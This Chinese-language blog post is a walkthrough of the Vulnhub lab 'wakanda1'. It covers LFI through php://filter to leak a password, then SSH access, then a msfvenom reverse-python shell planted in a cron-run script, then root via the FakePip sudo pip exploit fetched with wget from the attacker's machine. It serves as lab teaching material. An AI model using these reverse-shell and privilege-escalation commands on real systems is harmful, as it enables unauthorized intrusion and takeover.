Still Shines.

Vulnhub渗透笔记之wankanda1

Word count: 1.7k / Reading time: 6 min
2018/10/01 Share

新的任务

一个新的“振金”市场将在暗网上出现。你的目标:拿到root文件里包含矿山的精确定位。

信息收集

攻击机ip地址:192.168.204.189
靶机IP地址:未知
攻击机kali在vmware上启动,网络模式为桥接模式。
靶机使用VirtualBox启动,网络模式为桥接模式。

首先要确定的是靶机的ip地址,使用nmap扫描:

nmap -sP 192.168.204.0/24

此处根据物理地址显示的设备为VirtualBox可以得知192.168.204.190就是靶机的IP地址。

继续使用nmap扫主机端口,这里使用详细扫描:

nmap -A 192.168.204.190

通过扫描结果可以知道主机开启了80,111,3333三个端口,分别运行WEB服务,RPC服务和SSH服务。
我们先查看web服务,在浏览器输入地址,进入网站主页:

主页上显示,这将是下一个开启的wankanda振金市场,在最后一行显示了制作者的信息,这或许是个有用的信息,制作者是一个叫mamadou的人。再查看网站的其他内容,但均无有用的信息出现。

我们继续使用Dirb扫描网站路径,看看有没有其他的发现。

dirb http://192.168.204.190

扫描结果出现了几个路径,但是看后面的SIZE可以知道,除了index.php和server-status外,都是0字节的空白页。而这两个路径也没有用的信息。那我们再看看主页的源码。

查看源码后发现,有一行注释存在:

在url后面加入注释上的参数,如下显示:

页面中的一些英语变成了法语。可猜测这行注释是题目作者给的提示,给我们提供了之后的解题思路。

本地文件包含(LFI)漏洞

php伪协议

在继续分析注释的含义之前,我们需要先知道php伪协议是什么,PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。详细的内容可以看官方文档:http://cn2.php.net/manual/zh/wrappers.php

漏洞利用

根据作者的提示,我们可以猜测这里存在本地文件包含的漏洞。可以先尝试一下读取页面源代码,一般如下的形式:

/about.php?f=php://filter/convert.base64-encode/resource=index.php

以base64加密的形式读取页面源代码,然后在再对代码进行base64解密就可以得到源代码。

所以我们在地址栏中输入如下url:

http://192.168.204.190/?lang=php://filter/convert.base64-encode/resource=index

发现出现一行base64加密后的字符串,我们将这行字符串复制下来,并放到网站上进行解密网站上进行破解:

在最上面出现了下面的源代码:

1
2
3
4
5
6
7
8
9
<?php
$password ="Niamey4Ever227!!!" ;//I have to remember it

if (isset($_GET['lang']))
{
include($_GET['lang'].".php");
}

?>

可以看出,这里存在一个密码 :Niamey4Ever227!!!

再联想到网站的作者:mamadou

猜测这可能是ssh登录的用户名和密码。

Flag1

接下来试着用ssh的方式连接靶机:

输入用户名和密码后,成功登录了,shell形式是python,我们这里可以输入一条指令,使之变为bash shell:

import pty;pty.spawn(“/bin/bash”)


(此处扩展一个tty shell的生成指令介绍:https://netsec.ws/?p=337)

接下来查看到登录用户的权限不是root权限,在用户文件下有一个flag1.txt的文件,打开它之后,我们获得了第一个flag。

Flag 2

遍历其他目录之后,我们发现存在一个/tmp文件夹:

tmp文件具有其他用户读写和执行的权限,这将对我们很有帮助。

进入tmp文件里,看到里面存在一个test文件。

查看test文件发现,里面的内容只有一个单词,也是“test”。

查看tmp目录下文件的全部信息后发现,test文件的创建者为另一个用户:devops

我们使用Find指令查找属主devops的其他文件:

find / -user devops 2>/dev/null

我们发现存在一个flag2.txt,但此时的我们还无法查看它,因为它在devops用户目录下,此时的我们还不是devops用户。这里还看到一个python脚本,我们进入/srv/目录下并打开.antivirus.py这个脚本,看到其显示如下内容:

这个是控制我们之前tmp目录下的test文件的生成。那我们是不是能够好好利用这个脚本文件呢。

我们可以在这个脚本里写入shell,并反弹回自己的攻击机,从而进行连接,而此时连接的就是devops的用户。所以我们先用msf生成一个shell:

msfveon –p cmd/unix/reverse_python lhost=192.168.204.189 lport=4444 R

接着把shell复制到.antivirus.py脚本中,并把原来的一行代码注释掉:

之后,我们在本地用nc监听4444端口,看看shell是否反弹回请求:

等待一段时间后,脚本自动运行,同时连接也建立了:

此时的我们再启用bash shell,查看现在的用户就是devops:

然后查看用户文件夹下的文件,打开flag2.txt文件,得到第二个flag。

Flag3

现在,我们离胜利越来越近了。我们现在是devops用户,那看看我们能执行什么超级用户的权限吧。此处我们发现,我们可以以超级用户的身份执行pip。

pip漏洞

这对我们来说是一个好消息,因为,在记忆中就存在一个关于pip的漏洞,漏洞的exploit在github上:https://github.com/0x00-0x00/FakePip

提权

先把FakePip克隆仓库到本地:

git clone https://github.com/0x00-0x00/FakePip.git


然后修改其中的setup.py文件。把红色注释处的文件修改为我们kali的IP地址:

接着我们使用python的命令,在FakePip文件夹下开启一个web服务:

python –m SimpleHTTPServer 80


然后在靶机上,使用wget命令,访问kali,下载setup.py文件:

wget http://192.168.204.189/setup.py

下载完成后,输入指令启动脚本:

sudo pip install . –upgrade –force-reinstall


我们在本地用nc监听443端口,接收靶机发送过来的请求:

连接成功后,此时的我们就是root权限了。在root文件夹下打开root.txt,成功获取到第三flag。

耶~

CATALOG
  1. 1. 新的任务
  2. 2. 信息收集
  3. 3. 本地文件包含(LFI)漏洞
    1. 3.1. php伪协议
    2. 3.2. 漏洞利用
  4. 4. Flag1
  5. 5. Flag 2
  6. 6. Flag3
    1. 6.1. pip漏洞
    2. 6.2. 提权